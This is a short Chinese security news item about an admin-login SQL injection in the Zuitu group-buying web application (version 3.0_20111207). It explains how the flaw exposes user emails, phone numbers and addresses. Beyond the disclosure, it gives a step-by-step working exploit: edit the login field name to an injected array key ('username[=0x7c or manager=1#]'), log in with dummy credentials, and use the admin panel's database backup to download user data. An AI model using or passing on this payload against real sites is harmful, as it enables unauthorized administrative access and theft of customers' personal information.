最土团购程序最新sql注入漏洞利用

近期最土团购程序3.0_20111207爆出一个高危漏洞，通过该漏洞利用方法，入侵者可以在10秒内获取最土团购网站的大量用户信息和订单信息等。

因为最土是团购类程序，数据库中保存有用户的邮箱和电话，甚至有用户的住址等，对网站用户来说，这些隐私信息一旦被别人获取，会带来很多的麻烦。

360安全工程师分析认为，“这是一次比较典型、也是非常经典的数组key变量污染漏洞。‘最土团购’建站程序的代码中，由于函数的过滤不严格，导致了黑客可以通过提交恶意代码，控制程序流程，来绕过登录时的判断，直接进入网站后台。下面附上具体的利用方法：

1.用opera浏览器打开网站的默认后台地址：manage/login.php

2.右键查看源代码。找到以下代码：

<div>    <label for="manage-login">登录名</label>    <input type="text" size="30" name="username" id="manage-username" datatype="require" require="true" /></div>
3.将其中的name="username" 修改为：name="username[=0x7c or manager=1#]",点击浏览器上的应用保存。

4.直接在账号s,密码s进行登陆后台。

因为最土团购程序的后台可以直接进行备份数据库到本地的操作，所以一旦进入后台，如果服务器未对备份文件的下载权限进行设置，是可以直接备份数据库到本地的，因此对用户的信息安全威胁比较大。